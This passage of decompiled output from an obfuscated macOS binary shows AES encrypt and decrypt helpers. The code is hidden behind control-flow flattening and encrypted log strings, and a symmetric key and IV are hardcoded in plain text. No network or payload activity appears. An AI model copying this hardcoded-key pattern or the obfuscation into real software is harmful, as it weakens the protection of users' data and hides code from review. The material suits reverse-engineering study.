if ( v5 != -653266208 )
break;
v1 = 832544300;
LABEL_21:
*v6 = v1;
}
if ( v5 != -626154564 )
break;
*v6 = 1116907220;
}
}
while ( v5 != -993241630 );
return v4;
}
// 10022DD34: conditional instruction was optimized away because %var_38.4==7B131A4
// 10022DCE1: variable 'v3' is possibly undefined
// 10022DD4D: variable 'v4' is possibly undefined
//----- (000000010022DD60) ----------------------------------------------------
id __fastcall EDMaverickD(id a1)
{
char v1; // cf
int v2; // eax
int v3; // ecx
char v4; // cf
int v5; // ecx
void *v6; // rax
bool v7; // zf
int v8; // ecx
bool v9; // zf
int v10; // ecx
id v11; // r15
id v12; // rax
CCCryptorStatus v13; // eax
size_t v14; // rax
_BYTE *v15; // rax
id v16; // rax
NSData *v17; // rax
_BYTE *v18; // rax
id v19; // rax
id v20; // r15
id v21; // rax
NSData *v22; // rax
id v23; // rax
id v24; // rax
id v25; // rbx
char v27; // [rsp-10h] [rbp-F0h] BYREF
__int128 v28; // [rsp+0h] [rbp-E0h] BYREF
void *v29; // [rsp+10h] [rbp-D0h]
SEL v30; // [rsp+18h] [rbp-C8h]
size_t v31; // [rsp+20h] [rbp-C0h]
id v32; // [rsp+28h] [rbp-B8h]
SEL v33; // [rsp+30h] [rbp-B0h]
void *v34; // [rsp+38h] [rbp-A8h]
int v35; // [rsp+44h] [rbp-9Ch]
int v36; // [rsp+48h] [rbp-98h]
int v37; // [rsp+4Ch] [rbp-94h] BYREF
SEL v38; // [rsp+50h] [rbp-90h]
id v39; // [rsp+58h] [rbp-88h]
void *key; // [rsp+60h] [rbp-80h]
size_t __size; // [rsp+68h] [rbp-78h]
id v42; // [rsp+70h] [rbp-70h]
unsigned int v43; // [rsp+7Ch] [rbp-64h]
size_t *dataOutMoved; // [rsp+80h] [rbp-60h]
void *iv; // [rsp+88h] [rbp-58h]
void *dataOut; // [rsp+90h] [rbp-50h]
id v47; // [rsp+98h] [rbp-48h]
bool v48; // [rsp+A1h] [rbp-3Fh]
char v49; // [rsp+A2h] [rbp-3Eh]
char v50; // [rsp+A3h] [rbp-3Dh]
bool v51; // [rsp+A4h] [rbp-3Ch]
bool v52; // [rsp+A5h] [rbp-3Bh]
bool v53; // [rsp+A6h] [rbp-3Ah]
bool v54; // [rsp+A7h] [rbp-39h]
int *v55; // [rsp+A8h] [rbp-38h]
__int64 v56; // [rsp+B0h] [rbp-30h]
v56 = -1;
v35 = -1417724414;
v37 = 1686653629;
v55 = &v37;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v37 <= -122982533 )
{
if ( v37 > -1011837197 )
{
if ( v37 <= -661420060 )
{
if ( v37 > -840860398 )
{
if ( v37 <= -771007652 )
{
if ( v37 == -840860397 )
{
*v55 = 593148470;
}
else if ( v37 == -775348687 )
{
*v55 = -621267414;
}
}
else
{
switch ( v37 )
{
case -771007651:
v4 = 0;
v2 = 1952563337;
LABEL_167:
v5 = -1888097928;
LABEL_193:
if ( v4 )
v2 = v5;
goto LABEL_213;
case -732806970:
*v55 = -503086099;
break;
case -725112471:
strcpy(aP_14, "xP7rV9qT5zM8wN1y");
strcpy(asc_10029BED0, "cd8f3aa62e94b71c");
*v55 = 542918832;
break;
}
}
}
else if ( v37 <= -951256616 )
{
if ( v37 == -1011837196 )
{
*dataOutMoved = 0;
objc_retainAutorelease(v47);
v20 = objc_msgSend(v47, "bytes");
v21 = objc_msgSend(v47, v30);
CCCrypt(1u, 0, 1u, key, 0x10u, iv, v20, (size_t)v21, dataOut, __size, dataOutMoved);
*v55 = -1047568602;
}
else if ( v37 == -1001091659 )
{
*v55 = -771007651;
}
}
else
{
switch ( v37 )
{
case -951256615:
v7 = 0;
v2 = -725112471;
v8 = 542918832;
goto LABEL_211;
case -923985644:
*v55 = 628117672;
break;
case -857449776:
v1 = 1;
v2 = -775348687;
v3 = -397906876;
goto LABEL_175;
}
}
}
else if ( v37 <= -428108870 )
{
if ( v37 <= -595496162 )
{
if ( v37 == -661420059 )
{
objc_msgSend(v32, v33, v42, 4);
objc_release(v42);
LABEL_203:
*v55 = -595496161;
}
else if ( v37 == -621267414 )
{
v4 = 1;
v2 = -1011837196;
v5 = -1047568602;
goto LABEL_193;
}
}
else
{
switch ( v37 )
{
case -595496161:
*((_QWORD *)&v28 + 1) = objc_msgSend(v32, v33, v42, 4);
objc_release(v42);
v9 = 0;
v2 = 830534273;
v10 = -595496161;
LABEL_207:
if ( v9 )
v2 = v10;
LABEL_213:
*v55 = v2;
break;
case -547902812:
v22 = +[NSData dataWithBytesNoCopy:length:freeWhenDone:](
&OBJC_CLASS___NSData,
"dataWithBytesNoCopy:length:freeWhenDone:",
dataOut,
v31,
1);
v42 = objc_retainAutoreleasedReturnValue(v22);
v23 = objc_alloc((Class)&OBJC_CLASS___NSString);
v9 = 0;
v32 = v23;
v2 = -356505366;
v10 = 1553376382;
goto LABEL_207;
case -503086099:
v4 = 0;
v2 = -1274622002;
v5 = -732806970;
goto LABEL_193;
}
}
}
else if ( v37 > -321065934 )
{
switch ( v37 )
{
case -321065933:
*v55 = -1829611561;
break;
case -246336103:
NSLog(
CFSTR("\tH\xAD \xF9d\xB0\x8F\xF3\xF4\x1D\x7C\x9C\xBC\x16\xE2\x6D\x6F\xB2\x1E$5\xE9\xD0\x82\x1E\"l\xCE\x0A\xF5\x23\xEC\xF6"),
v43);
*v55 = 421968813;
break;
case -148632452:
dword_10029F740 = 1;
key = &v28;
iv = &v28;
v9 = 0;
dataOutMoved = (size_t *)&v27;
v28 = 0;
LOBYTE(v29) = 0;
v38 = "getCString:maxLength:encoding:";
v2 = -1209642285;
LABEL_189:
v10 = -2063633902;
goto LABEL_207;
}
}
else
{
switch ( v37 )
{
case -428108869:
objc_retain(a1);
HikariFunctionWrapper_665(CFSTR("p;\xDF\x7EEgJ\xE1\x51\x7C\x0E\xB2Xubo\x93"), v38);
*v55 = 1745802428;
break;
case -397906876:
*v55 = -857449776;
break;
case -356505366:
*v55 = 1286189915;
break;
}
}
}
else if ( v37 <= -1528340416 )
{
if ( v37 > -1829611562 )
{
if ( v37 <= -1721823279 )
{
if ( v37 == -1829611561 )
{
v1 = 0;
__size = v28 + 16;
v2 = -1829611561;
v3 = -1130369884;
goto LABEL_175;
}
if ( v37 == -1753857980 )
{
v15 = iv;
*(_OWORD *)iv = 0;
v15[16] = 0;
objc_msgSend(CFSTR("\xFE\x8F\xB8\x1B\xD9\x1A\x00`\xA9\x0F^\x88(\x81\x8A\xB4\x84"), v38, iv, 17, 4);
v16 = HikariFunctionWrapper_671((objc_class *)&OBJC_CLASS___NSData);
HikariFunctionWrapper_673(v16, "initWithBase64EncodedString:options:");
objc_release(a1);
*v55 = 63311580;
}
}
else
{
switch ( v37 )
{
case -1721823278:
*v55 = 1911830475;
break;
case -1608535764:
v48 = v36 == 0;
v4 = 1;
v2 = -1608535764;
v5 = -923985644;
goto LABEL_193;
case -1529006282:
*v55 = 241285988;
break;
}
}
}
else if ( v37 <= -2025487491 )
{
if ( v37 == -2099968019 )
{
v1 = 0;
v2 = -1528340415;
v3 = 1465566696;
goto LABEL_175;
}
if ( v37 == -2063633902 )
{
dword_10029F740 = 1;
v27 = 0;
*v55 = -148632452;
}
}
else
{
switch ( v37 )
{
case -2025487490:
v7 = !v51;
v2 = -2099968019;
v8 = 928039419;
goto LABEL_211;
case -1888097928:
*v55 = 1952563337;
break;
case -1852564588:
*v55 = 1296403039;
break;
}
}
}
else if ( v37 <= -1259988705 )
{
if ( v37 <= -1349920606 )
{
if ( v37 == -1528340415 )
{
HikariFunctionWrapper_675(v47, "length");
*v55 = 1465566696;
}
else if ( v37 == -1444092084 )
{
LABEL_141:
*v55 = 69671236;
v39 = 0;
}
}
else
{
switch ( v37 )
{
case -1349920605:
*v55 = 910760129;
v34 = 0;
break;
case -1274622002:
*v55 = 69671236;
v39 = v29;
break;
case -1267260437:
*v55 = 619552913;
break;
}
}
}
else if ( v37 > -1130369885 )
{
switch ( v37 )
{
case -1130369884:
*v55 = 1767413438;
break;
case -1091188530:
goto LABEL_141;
case -1047568602:
*dataOutMoved = 0;
objc_retainAutorelease(v47);
v11 = objc_msgSend(v47, "bytes");
v12 = objc_msgSend(v47, v30);
v13 = HikariFunctionWrapper_669(
1u,
0,
1u,
key,
0x10u,
iv,
v11,
(size_t)v12,
dataOut,
__size,
dataOutMoved);
v53 = v13 == 0;
v43 = v13;
v14 = *dataOutMoved;
v54 = *dataOutMoved != 0;
v1 = 1;
v31 = v14;
v2 = -1172294280;
v3 = -1047568602;
goto LABEL_175;
}
}
else
{
switch ( v37 )
{
case -1259988704:
v7 = 0;
v2 = -397906876;
v8 = -857449776;
goto LABEL_211;
case -1209642285:
*v55 = -428108869;
break;
case -1172294280:
*v55 = 1555268807;
break;
}
}
}
if ( v37 <= 928039418 )
break;
if ( v37 <= 1465566695 )
{
if ( v37 > 1198236022 )
{
if ( v37 <= 1296403038 )
{
if ( v37 == 1198236023 )
{
*v55 = 419768706;
}
else if ( v37 == 1286189915 )
{
v4 = 1;
v2 = -96324175;
v5 = 1415789533;
goto LABEL_193;
}
}
else
{
switch ( v37 )
{
case 1296403039:
v7 = !v48;
v2 = 213444702;
v8 = -951256615;
goto LABEL_211;
case 1317605256:
*v55 = -1608535764;
break;
case 1415789533:
v1 = 1;
v33 = "initWithData:encoding:";
v2 = -1529006282;
v3 = -96324175;
goto LABEL_175;
}
}
}
else if ( v37 <= 1073586478 )
{
if ( v37 == 928039419 )
{
NSLog(CFSTR("\xE0\x18\x85\xD9\x71\xDC\xC0\xB4\x94 \xB1\x87\x1C\xB8\x8A\xDB\x48\x1C\x8B\xAD\x817\xA0nix\xA9\xBF\xF7\x99\x59\x17\x19\x8B\x00\xC4\x58'\x15"));
*v55 = -1091188530;
}
else if ( v37 == 932464388 )
{
v4 = 1;
v2 = 1184071858;
v5 = 220283263;
goto LABEL_193;
}
}
else
{
switch ( v37 )
{
case 1073586479:
free(dataOut);
v4 = 0;
v2 = 207834704;
v5 = 1073586479;
goto LABEL_193;
case 1094483792:
free(dataOut);
*v55 = 1073586479;
break;
case 1184071858:
NSLog(CFSTR(">\xE3\xFA\x6B-\xB1\xE9\xA8\x2D\x8F\x85ȹ0\xF97\xDB\x3C\x1F>\xDE\x78㩜Lm\xAAQN\xE6\x80\xEB+{S\xBB\xF1\x74\x07\x02\x94\f\xC1\xE8\x10t\xBC;\xE9\x6C\xE4A\x9D\xA0\xFF"));
*v55 = 220283263;
break;
}
}
}
else if ( v37 <= 1745802427 )
{
if ( v37 <= 1555268806 )
{
if ( v37 == 1465566696 )
{
v30 = "length";
v24 = objc_msgSend(v47, "length");
v7 = 0;
*(_QWORD *)&v28 = v24;
v2 = -1528340415;
v8 = -1721823278;
LABEL_211:
if ( !v7 )
v2 = v8;
goto LABEL_213;
}
if ( v37 == 1553376382 )
{
v17 = +[NSData dataWithBytesNoCopy:length:freeWhenDone:](
&OBJC_CLASS___NSData,
"dataWithBytesNoCopy:length:freeWhenDone:",
dataOut,
v31,
1);
objc_retainAutoreleasedReturnValue(v17);
objc_alloc((Class)&OBJC_CLASS___NSString);
*v55 = -547902812;
}
}
else
{
switch ( v37 )
{
case 1555268807:
v2 = 2007667511;
if ( v54 )
v2 = -122982532;
v9 = !v53;
v10 = 2007667511;
goto LABEL_207;
case 1562196367:
malloc(__size);
*v55 = 235681429;
break;
case 1686653629:
v9 = v35 == -2093049423;
v2 = 619552913;
v10 = -1267260437;
goto LABEL_207;
}
}
}
else if ( v37 > 1911830474 )
{
switch ( v37 )
{
case 1911830475:
v9 = 0;
v2 = -1829611561;
v10 = -321065933;
goto LABEL_207;
case 1952563337:
v4 = 0;
v2 = -1444092084;
goto LABEL_167;
case 2007667511:
v7 = 0;
v2 = 1810673138;
v8 = -246336103;
goto LABEL_211;
}
}
else
{
switch ( v37 )
{
case 1745802428:
v4 = 0;
v2 = 63311580;
v5 = -1753857980;
goto LABEL_193;
case 1767413438:
v7 = 0;
v2 = 1562196367;
v8 = 235681429;
goto LABEL_211;
case 1810673138:
NSLog(
CFSTR("\tH\xAD \xF9d\xB0\x8F\xF3\xF4\x1D\x7C\x9C\xBC\x16\xE2\x6D\x6F\xB2\x1E$5\xE9\xD0\x82\x1E\"l\xCE\x0A\xF5\x23\xEC\xF6"),
v43);
*v55 = -246336103;
break;
}
}
}
if ( v37 <= 241285987 )
break;
if ( v37 > 593148469 )
{
if ( v37 <= 628117671 )
{
if ( v37 == 593148470 )
{
asc_10029BE80[0] = v49;
asc_10029BE80[1] = 114;
asc_10029BE80[2] = 114;
asc_10029BE80[3] = 111;
asc_10029BE80[4] = 114;
asc_10029BE80[5] = 58;
asc_10029BE80[6] = 32;
asc_10029BE80[7] = 70;
asc_10029BE80[8] = 97;
asc_10029BE80[9] = 105;
asc_10029BE80[10] = 108;
asc_10029BE80[11] = 101;
asc_10029BE80[12] = 100;
asc_10029BE80[13] = 32;
asc_10029BE80[14] = 116;
asc_10029BE80[15] = 111;
asc_10029BE80[16] = 32;
asc_10029BE80[17] = 100;
asc_10029BE80[18] = 101;
asc_10029BE80[19] = 99;
asc_10029BE80[20] = 111;
asc_10029BE80[21] = 100;
asc_10029BE80[22] = 101;
asc_10029BE80[23] = 32;
asc_10029BE80[24] = 98;
asc_10029BE80[25] = 97;
asc_10029BE80[26] = 115;
asc_10029BE80[27] = 101;
asc_10029BE80[28] = 54;
asc_10029BE80[29] = 52;
asc_10029BE80[30] = 32;
asc_10029BE80[31] = 115;
asc_10029BE80[32] = 116;
asc_10029BE80[33] = 114;
asc_10029BE80[34] = 105;
asc_10029BE80[35] = 110;
asc_10029BE80[36] = 103;
asc_10029BE80[37] = 46;
asc_10029BE80[38] = 0;
strcpy(asc_10029BF20, "Decryption failed with status: %d");
qmemcpy(asc_10029BE10, "Error: Failed to allocate memory for decry", 42);
v50 = -91;
*v55 = 175095246;
}
else if ( v37 == 619552913 )
{
v4 = 1;
v36 = dword_10029F740;
v2 = -1267260437;
v5 = 1198236023;
goto LABEL_193;
}
}
else
{
switch ( v37 )
{
case 628117672:
goto LABEL_148;
case 830534273:
*v55 = 910760129;
v34 = (void *)*((_QWORD *)&v28 + 1);
break;
case 910760129:
v29 = v34;
v7 = 0;
v2 = -732806970;
v8 = -503086099;
goto LABEL_211;
}
}
}
else if ( v37 <= 421968812 )
{
if ( v37 == 241285988 )
goto LABEL_203;
if ( v37 == 419768706 )
{
v1 = 1;
v2 = -1608535764;
v3 = 1317605256;
goto LABEL_175;
}
}
else
{
switch ( v37 )
{
case 421968813:
*v55 = 473931800;
break;
case 473931800:
v1 = 1;
v2 = 1073586479;
v3 = 1094483792;
goto LABEL_175;
case 542918832:
strcpy(aP_14, "xP7rV9qT5zM8wN1y");
strcpy(asc_10029BED0, "cd8f3aa62e94b71c");
v4 = 1;
v49 = 69;
v2 = 542918832;
v5 = -840860397;
goto LABEL_193;
}
}
}
if ( v37 <= 175095245 )
break;
if ( v37 <= 213444701 )
{
if ( v37 == 175095246 )
{
asc_10029BE10[42] = (~v50 | 0x2A) & (v50 | 0xD5);
asc_10029BE10[43] = 116;
asc_10029BE10[44] = 105;
asc_10029BE10[45] = 111;
asc_10029BE10[46] = 110;
asc_10029BE10[47] = 32;
asc_10029BE10[48] = 98;
asc_10029BE10[49] = 117;
asc_10029BE10[50] = 102;
asc_10029BE10[51] = 102;
asc_10029BE10[52] = 101;
asc_10029BE10[53] = 114;
asc_10029BE10[54] = 46;
asc_10029BE10[55] = 0;
*v55 = 213444702;
}
else if ( v37 == 207834704 )
{
*v55 = -1349920605;
}
}
else
{
switch ( v37 )
{
case 213444702:
v9 = 0;
v2 = -148632452;
goto LABEL_189;
case 220283263:
NSLog(CFSTR(">\xE3\xFA\x6B-\xB1\xE9\xA8\x2D\x8F\x85ȹ0\xF97\xDB\x3C\x1F>\xDE\x78㩜Lm\xAAQN\xE6\x80\xEB+{S\xBB\xF1\x74\x07\x02\x94\f\xC1\xE8\x10t\xBC;\xE9\x6C\xE4A\x9D\xA0\xFF"));
v1 = 0;
v2 = 220283263;
v3 = -1001091659;
goto LABEL_175;
case 235681429:
v6 = malloc(__size);
v52 = v6 == 0;
dataOut = v6;
*v55 = 153218178;
break;
}
}
}
if ( v37 > 63311579 )
break;
switch ( v37 )
{
case -122982532:
v1 = 1;
v2 = -547902812;
v3 = 1553376382;
LABEL_175:
if ( !v1 )
v2 = v3;
goto LABEL_213;
case -96324175:
*v55 = 1415789533;
break;
case -29764528:
LABEL_148:
*v55 = -1852564588;
break;
}
}
if ( v37 == 63311580 )
{
v18 = iv;
*(_OWORD *)iv = 0;
v18[16] = 0;
objc_msgSend(CFSTR("\xFE\x8F\xB8\x1B\xD9\x1A\x00`\xA9\x0F^\x88(\x81\x8A\xB4\x84"), v38, iv, 17, 4);
v19 = HikariFunctionWrapper_667((objc_class *)&OBJC_CLASS___NSData);
v47 = objc_msgSend(v19, "initWithBase64EncodedString:options:", a1, 0);
objc_release(a1);
v51 = v47 == 0;
v1 = 0;
v2 = -1753857980;
v3 = -2025487490;
goto LABEL_175;
}
if ( v37 == 153218178 )
{
v7 = !v52;
v2 = -1259988704;
v8 = 932464388;
goto LABEL_211;
}
}
while ( v37 != 69671236 );
v25 = v39;
objc_release(v47);
return objc_autoreleaseReturnValue(v25);
}
// 10029C070: using guessed type __CFString stru_10029C070;
// 10029C0B0: using guessed type __CFString cfstr_P_14;
// 10029F740: using guessed type int dword_10029F740;
//----- (000000010022FF56) ----------------------------------------------------
id __fastcall encryptDataToHex(void *a1, void *a2)
{
bool v2; // zf
int v3; // eax
int v4; // ecx
id v5; // rax
id v6; // rax
char v7; // cf
int v8; // ecx
char v9; // cf
int v10; // ecx
bool v11; // zf
int v12; // ecx
id v13; // rax
id v14; // rax
unsigned __int64 v15; // rax
size_t v16; // r15
void *v17; // r12
id v18; // r13
id v19; // rbx
id v20; // r14
id v21; // rax
id v22; // rax
id v23; // rax
id v24; // rax
id v25; // rbx
NSData *v26; // rax
NSData *v27; // rax
unsigned __int64 v28; // rbx
unsigned __int64 v29; // rbx
bool v30; // cc
int v31; // eax
void *v32; // rbx
id v33; // rax
char *v34; // r15
id v35; // r12
id v36; // r13
id v37; // rbx
id v38; // rax
CCCryptorStatus v39; // eax
id v40; // rax
NSData *v41; // rax
id v42; // rax
NSMutableData *v43; // rax
id v44; // rax
NSMutableString *v45; // rax
id v46; // rbx
__int64 v48; // [rsp-10h] [rbp-100h] BYREF
SEL v49; // [rsp+0h] [rbp-F0h]
id v50; // [rsp+8h] [rbp-E8h]
const char *v51; // [rsp+10h] [rbp-E0h]
id v52; // [rsp+18h] [rbp-D8h]
void *v53; // [rsp+20h] [rbp-D0h]
const char *v54; // [rsp+28h] [rbp-C8h]
unsigned __int64 v55; // [rsp+30h] [rbp-C0h]
id v56; // [rsp+38h] [rbp-B8h]
id v57; // [rsp+40h] [rbp-B0h]
int v58; // [rsp+48h] [rbp-A8h]
int v59; // [rsp+4Ch] [rbp-A4h]
unsigned int v60; // [rsp+50h] [rbp-A0h]
int v61; // [rsp+54h] [rbp-9Ch] BYREF
id v62; // [rsp+58h] [rbp-98h]
SEL v63; // [rsp+60h] [rbp-90h]
id v64; // [rsp+68h] [rbp-88h]
id v65; // [rsp+70h] [rbp-80h]
id v66; // [rsp+78h] [rbp-78h]
id v67; // [rsp+80h] [rbp-70h]
void *dataOut; // [rsp+88h] [rbp-68h]
size_t *dataOutMoved; // [rsp+90h] [rbp-60h]
id v70; // [rsp+98h] [rbp-58h]
SEL v71; // [rsp+A0h] [rbp-50h]
id v72; // [rsp+A8h] [rbp-48h]
id v73; // [rsp+B0h] [rbp-40h]
bool v74; // [rsp+BBh] [rbp-35h]
char v75; // [rsp+BCh] [rbp-34h]
bool v76; // [rsp+BDh] [rbp-33h]
bool v77; // [rsp+BEh] [rbp-32h]
bool v78; // [rsp+BFh] [rbp-31h]
int *v79; // [rsp+C0h] [rbp-30h]
v66 = a2;
v65 = a1;
v58 = 1;
v61 = 1349324845;
v79 = &v61;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v61 > 79025109 )
{
if ( v61 > 1132138218 )
{
if ( v61 <= 1584176148 )
{
if ( v61 <= 1262847073 )
{
if ( v61 > 1149551336 )
{
if ( v61 == 1149551337 )
{
v2 = 0;
v3 = 1911572093;
v4 = -488840774;
goto LABEL_179;
}
if ( v61 == 1166833579 )
{
objc_release(v64);
*v79 = -2045651134;
}
}
else if ( v61 == 1132138219 )
{
v28 = v55;
HikariFunctionWrapper_693_0(v62, v51);
v29 = v28 + 1;
v30 = (unsigned __int64)objc_msgSend(v72, v71) <= v29;
v31 = -2083008217;
if ( !v30 )
v31 = 1132138219;
*v79 = v31;
v55 = v29;
}
else if ( v61 == 1134900698 )
{
v2 = !v76;
v3 = 66151710;
v4 = -1231591401;
goto LABEL_179;
}
}
else if ( v61 <= 1312360366 )
{
if ( v61 == 1262847074 )
{
v9 = 1;
v3 = 4714341;
v10 = 864143913;
goto LABEL_191;
}
if ( v61 == 1303824359 )
*v79 = 1476904874;
}
else
{
switch ( v61 )
{
case 1312360367:
asc_10029C100[29] = v75 - 2 * (v75 & 6) + 6;
asc_10029C100[30] = 32;
asc_10029C100[31] = 37;
asc_10029C100[32] = 100;
asc_10029C100[33] = 0;
*v79 = 501519069;
break;
case 1349324845:
v11 = v58 == -9587193;
v3 = 386823006;
v12 = -1406679653;
LABEL_163:
if ( v11 )
v3 = v12;
goto LABEL_193;
case 1476904874:
v11 = 0;
v3 = -2045651134;
v12 = 1166833579;
goto LABEL_163;
}
}
}
else if ( v61 > 1875353762 )
{
if ( v61 <= 1911572092 )
{
if ( v61 == 1875353763 )
{
HikariFunctionWrapper_709_0(dataOut);
LABEL_196:
*v79 = 33791540;
}
else if ( v61 == 1877520137 )
{
v51 = "appendFormat:";
*v79 = 912736948;
}
}
else
{
switch ( v61 )
{
case 1911572093:
aR_18[13] = 105;
aR_18[14] = 110;
aR_18[15] = 103;
aR_18[16] = 32;
aR_18[17] = 114;
aR_18[18] = 97;
aR_18[19] = 110;
aR_18[20] = 100;
aR_18[21] = 111;
aR_18[22] = 109;
aR_18[23] = 32;
aR_18[24] = 73;
aR_18[25] = 86;
aR_18[26] = 0;
asc_10029BD85[0] = 37;
asc_10029BD85[1] = 48;
asc_10029BD85[2] = 50;
asc_10029BD85[3] = 120;
asc_10029BD85[4] = 0;
qmemcpy(asc_10029C100, "Encryption failed with status", 29);
*v79 = -488840774;
break;
case 1913295028:
*v79 = 1584176149;
break;
case 2015376855:
*v79 = 1312360367;
break;
}
}
}
else if ( v61 <= 1807829959 )
{
if ( v61 == 1584176149 )
{
v9 = 0;
v3 = -1348564842;
v10 = 120824369;
LABEL_191:
if ( !v9 )
v3 = v10;
goto LABEL_193;
}
if ( v61 == 1708293996 )
{
v23 = HikariFunctionWrapper_685_0(v53, v54);
v72 = objc_retainAutoreleasedReturnValue(v23);
objc_msgSend(v72, "appendData:", v64);
objc_retainAutorelease(v72);
v7 = 1;
v3 = 1708293996;
v8 = -234038357;
goto LABEL_171;
}
}
else
{
switch ( v61 )
{
case 1807829960:
*v79 = -97440844;
break;
case 1844094435:
v41 = +[NSData dataWithBytesNoCopy:length:](
&OBJC_CLASS___NSData,
"dataWithBytesNoCopy:length:",
dataOut,
*dataOutMoved);
objc_retainAutoreleasedReturnValue(v41);
*v79 = 79025110;
break;
case 1863941980:
objc_release(v72);
v2 = 0;
v3 = 751875259;
v4 = 1303824359;
goto LABEL_179;
}
}
}
else if ( v61 <= 501187403 )
{
if ( v61 <= 299579718 )
{
if ( v61 > 272907413 )
{
if ( v61 == 272907414 )
{
v32 = v56;
objc_release(v70);
objc_release(v67);
*v79 = -2106914192;
v57 = v32;
}
else if ( v61 == 296694570 )
{
dword_10029F744 = 1;
dataOutMoved = (size_t *)&v48;
objc_retain(v65);
v11 = 0;
v3 = 567527682;
v12 = 296694570;
goto LABEL_163;
}
}
else
{
if ( v61 == 79025110 )
{
v26 = +[NSData dataWithBytesNoCopy:length:](
&OBJC_CLASS___NSData,
"dataWithBytesNoCopy:length:",
dataOut,
*dataOutMoved);
v27 = objc_retainAutoreleasedReturnValue(v26);
v7 = 0;
v64 = v27;
v53 = &OBJC_CLASS___NSMutableData;
v54 = "dataWithData:";
v3 = -62647350;
v8 = 79025110;
goto LABEL_171;
}
if ( v61 == 120824369 )
{
v74 = v59 == 0;
v11 = 0;
v3 = -509457330;
v12 = 120824369;
goto LABEL_163;
}
}
}
else if ( v61 <= 371215917 )
{
if ( v61 == 299579719 )
{
objc_retain(v66);
v43 = +[NSMutableData dataWithLength:](&OBJC_CLASS___NSMutableData, "dataWithLength:", 16);
v73 = objc_retainAutoreleasedReturnValue(v43);
*v79 = -795099813;
}
else if ( v61 == 319255857 )
{
v22 = HikariFunctionWrapper_697_0(v66, "dataUsingEncoding:");
objc_retainAutoreleasedReturnValue(v22);
*v79 = -1316984777;
}
}
else
{
switch ( v61 )
{
case 371215918:
v33 = objc_msgSend(v65, v49, 4);
v70 = objc_retainAutoreleasedReturnValue(v33);
v71 = "length";
*v79 = 508777584;
break;
case 386823006:
v9 = 1;
v59 = dword_10029F744;
v3 = 1913295028;
v10 = 386823006;
goto LABEL_191;
case 498847114:
v9 = 1;
v3 = -2124920920;
v10 = -1544422259;
goto LABEL_191;
}
}
}
else if ( v61 > 864143912 )
{
if ( v61 <= 912736947 )
{
if ( v61 == 864143913 )
{
HikariFunctionWrapper_707_0(v72, v63);
v44 = objc_msgSend(v72, v71);
v45 = +[NSMutableString stringWithCapacity:](
&OBJC_CLASS___NSMutableString,
"stringWithCapacity:",
2LL * (_QWORD)v44);
objc_retainAutoreleasedReturnValue(v45);
objc_msgSend(v72, v71);
*v79 = 4714341;
}
else if ( v61 == 876389504 )
{
*v79 = -2106914192;
v57 = 0;
}
}
else
{
switch ( v61 )
{
case 912736948:
*v79 = 1132138219;
v55 = 0;
break;
case 1003738108:
v2 = !v74;
v3 = 501519069;
v4 = -338835869;
goto LABEL_179;
case 1088106487:
NSLog(
CFSTR("\xD9\x6E\x89o\x1Eؚ\xA1f\xA77f\xDC\x2E\xCB\x5A\x96\x1E\xBE^A\x97\xB8N\x0EN\xFE/\x7F}\xA2\x11L\x1C"),
v60);
*v79 = 501187404;
break;
}
}
}
else if ( v61 <= 508777583 )
{
if ( v61 == 501187404 )
{
v9 = 1;
v3 = -97440844;
v10 = 1807829960;
goto LABEL_191;
}
if ( v61 == 501519069 )
{
v9 = 1;
v3 = 296694570;
v10 = 76441903;
goto LABEL_191;
}
}
else
{
switch ( v61 )
{
case 508777584:
v2 = 0;
v3 = -1192670928;
v4 = -333198127;
LABEL_179:
if ( !v2 )
v3 = v4;
goto LABEL_193;
case 567527682:
*v79 = 299579719;
break;
case 751875259:
objc_release(v72);
*v79 = 1863941980;
break;
}
}
}
if ( v61 <= -659607009 )
break;
if ( v61 <= -333198128 )
{
if ( v61 <= -562168539 )
{
if ( v61 > -644753718 )
{
if ( v61 == -644753717 )
{
qmemcpy(aR_18, "Error generat", 13);
v7 = 0;
v3 = -1773011921;
v8 = -562168538;
goto LABEL_171;
}
if ( v61 == -630899844 )
{
*v79 = 272907414;
v56 = v52;
}
}
else
{
if ( v61 == -659607008 )
{
v11 = 0;
v3 = 1708293996;
v12 = -1284386981;
goto LABEL_163;
}
if ( v61 == -658391487 )
{
*v79 = 272907414;
v56 = 0;
}
}
}
else if ( v61 <= -500894293 )
{
if ( v61 == -562168538 )
{
qmemcpy(aR_18, "Error generat", 13);
*v79 = -644753717;
}
else if ( v61 == -509457330 )
{
*v79 = 498847114;
}
}
else
{
switch ( v61 )
{
case -500894292:
*v79 = 371215918;
break;
case -488840774:
aR_18[13] = 105;
aR_18[14] = 110;
aR_18[15] = 103;
aR_18[16] = 32;
aR_18[17] = 114;
aR_18[18] = 97;
aR_18[19] = 110;
aR_18[20] = 100;
aR_18[21] = 111;
aR_18[22] = 109;
aR_18[23] = 32;
aR_18[24] = 73;
aR_18[25] = 86;
aR_18[26] = 0;
asc_10029BD85[0] = 37;
asc_10029BD85[1] = 48;
asc_10029BD85[2] = 50;
asc_10029BD85[3] = 120;
asc_10029BD85[4] = 0;
qmemcpy(asc_10029C100, "Encryption failed with status", 29);
v11 = 0;
v75 = 60;
v3 = 2015376855;
v12 = -488840774;
goto LABEL_163;
case -338835869:
v7 = 1;
v3 = -562168538;
v8 = -644753717;
goto LABEL_171;
}
}
}
else if ( v61 > 4714340 )
{
if ( v61 <= 37193672 )
{
if ( v61 == 4714341 )
{
v50 = HikariFunctionWrapper_687_0(v72, v63);
objc_msgSend(v72, v71);
v40 = HikariFunctionWrapper_689_0(&OBJC_CLASS___NSMutableString, "stringWithCapacity:");
v62 = objc_retainAutoreleasedReturnValue(v40);
v78 = objc_msgSend(v72, v71) == 0;
v7 = 1;
v3 = 4714341;
v8 = 37193673;
LABEL_171:
if ( v7 )
v3 = v8;
LABEL_193:
*v79 = v3;
}
else if ( v61 == 33791540 )
{
HikariFunctionWrapper_695_0(dataOut);
v9 = 0;
v3 = 33791540;
v10 = -226386458;
goto LABEL_191;
}
}
else
{
switch ( v61 )
{
case 37193673:
v2 = !v78;
v3 = 1877520137;
v4 = -2083008217;
goto LABEL_179;
case 66151710:
NSLog(CFSTR("ڒ\xD4\xC7\xD4\xC0iTX\xE4\x9F\xE1\xF2\xE2\xEC\x41\xC3\xD9(\x14\xF3\x6D\x3C\xDA.\xFF"));
*v79 = 876389504;
break;
case 76441903:
dword_10029F744 = 1;
objc_retain(v65);
*v79 = 296694570;
break;
}
}
}
else if ( v61 <= -226386459 )
{
